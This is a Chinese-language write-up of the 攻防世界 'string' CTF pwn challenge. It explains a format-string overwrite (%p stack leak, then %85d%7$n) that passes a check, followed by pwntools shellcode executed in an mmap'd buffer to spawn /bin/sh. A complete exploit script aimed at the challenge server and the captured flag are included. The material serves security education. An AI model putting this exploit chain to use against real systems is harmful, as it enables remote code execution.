收获

  • 格式化字符串漏洞,例如通过 printf("%p__%p__%p__") 打印出栈中的数据,从而判断输入的数据在栈中的位置,假如已知在栈上第 7 位,然后再通过 printf("%85d%7$n") 来将第 7 个参数的值修改为 85

  • mmap() 函数可以将输入的数据作为函数来执行,可以通过写入 Pwntools 生成的默认 shellcode 来执行,等价于执行了 system("/bin/sh"),例如:

v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
read(0, v1, 0x100uLL);
(v1)(0LL);

【攻防世界】string


思路

查看文件信息:

攻防世界-string1.png

64位 小端序,开启了金丝雀、栈不可执行

尝试执行:

攻防世界-string2.png

在 IDA 中分析:

攻防世界-string3.png

跟进函数 sub_400996()

攻防世界-string4.png

只是两句输出

跟进 sub_400D72()

攻防世界-string5.png

首先让用户输入角色名字,名字的长度被限制在 12 以内

跟进 sub_400A7D()

攻防世界-string6.png

首先是讲故事,之后必须输入 "east" 才能跳出 while(1) 循环,而跳出 while 循环就不会执行后面的 if 语句

跟进 sub_4009DD()

攻防世界-string7.png

会用 while(1) 循环不停的生成随机数,让用户去输入进行躲避,但是一旦输入错误一次跳出循环之后就 dead,貌似是条死路

回到 sub_400D72() 继续往下跟进 sub_400BB9()

攻防世界-string8.png

首先是一段剧情,如果用户输入 “1”,会让用户继续输入地址、愿望,然后会将用户输入的愿望打印出来

回到 sub_400D72() 继续往下跟进 sub_400CA6()

攻防世界-string9.png

注意到 if 语句 if ( *a1 == a1[1] ),这里的 a1 就是前面 main() 函数中定义的 v4,也就是说要让 *v4 == v4[1]

main() 函数中定义的是 *v4 = 68 v4[1] = 85,因此这里肯定是需要进行数据修改的

通过 if 语句后,会执行 mmap() 函数,通过 v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL)v1 定义为一个函数
然后通过 read() 函数写入 v1() 的内容,最后通过 (v1)(0LL) 将写入的 v1() 函数执行

于是分析如下:

  1. 程序刚开始前面有几个输入是固定的,程序想要继续执行就必须这么输入
  2. 现在的问题在于如何去修改数据让 *v4 == v4[1]
  3. 由于在 main() 函数中,"secret[0] is %x\n""secret[1] is %x\n" 两句会打印出 *v4v4[1] 的地址
  4. 同时,在 sub_400BB9() 函数中,会要求输入字符串 format,后面又会用 printf(format) 进行打印,因此,可以利用这个输入的字符串 "%s" 来构造格式化字符串漏洞
  5. format 输入为 %p__%p__%p__%p__%p__%p__%p__%p__%p__%p__ 可以让 printf() 函数实现 printf("%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__") 的操作,可以将栈中的其他数据也给打印出来
  6. 正好前面还要求输入地址,这个地址随便输入一个显眼的数,这样就可以通过 printf() 打印出的结果来找到这个数,从而判断出刚刚输入的地址在栈中的位置了
  7. 于是,当要求输入地址的时候,如果将 *v4 的地址给输进去,这样就知道 *v4 的地址在栈里的位置了,再通过格式化字符串漏洞将这个地址上的数据给修改掉,就可以实现改变 *v4 的值了
  8. *v4 修改为 85 后,就可以通过 sub_400CA6() 函数中的 if 判断了
  9. 之后程序会要求输入 v1,然后将 v1 作为函数来执行,那么可以向 v1 中写入 shellcode,这样程序一执行就会实现 system("/bin/sh") 的操作

脚本

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口


def main():
    if content == 1:
        io = process("./string")  # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 60038)  # 题目的远程端口,注意是remote

    io.recvuntil("secret[0] is ")
    v4_addr = int(io.recvuntil("\n"), 16)  # 根据ida中的伪代码,这里“secret[0] is ”后面输出的是v4: v4[0]所在的地址
    io.recvuntil("What should your character's name be:\n")  # 没有漏洞,随便输入即可
    io.sendline("1")
    io.recvuntil("So, where you will go?east or up?:\n")  # 根据ida中的逻辑,必须这么输入
    io.sendline("east")
    io.recvuntil("go into there(1), or leave(0)?:\n")  # 根据ida中的逻辑,必须这么输入
    io.sendline("1")

    """
    io.recvuntil("'Give me an address'\n")
    io.sendline("1")  # 先随便给出一个地址,等下通过格式化字符串漏洞泄露出栈中的数据,来查看这个地址在栈中的位置
    io.recvuntil("And, you wish is:\n")
    io.sendline("%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__")  # 将这一串作为printf()的参数泄露栈中的数据
    print(io.recv())  # 将泄露出的数据打印出来
    """

    shellcode = asm(shellcraft.sh())  # 用pwntools生成默认的shellcode,执行该shellcode等价于执行了system("/bin/sh")
    io.recvuntil("'Give me an address'\n")
    io.sendline(str(v4_addr))  # 将v4[0]的地址发过去,通过前面的操作已经知道发过去的V4[0]的位置在栈中的第7位
    io.recvuntil("And, you wish is:\n")
    io.sendline("%85d%7$n")  # 向第7个参数写入85,即: 将v4[0]的值由68修改为85,这样就实现了v4[0] == v4[1],可以通过sub_400CA6()中的if语句
    io.recvuntil("Wizard: I will help you! USE YOU SPELL\n")
    io.sendline(shellcode)

    io.interactive()


main()

结果

cyberpeace{a6bb09f8f19f8adfa1e160e67269416d}

攻防世界-string10.png

根据输入的 "1",用 "%p" 泄露出输入的值在栈中的位置,这里可以看到 "1" 在第 7 位

攻防世界-string11.png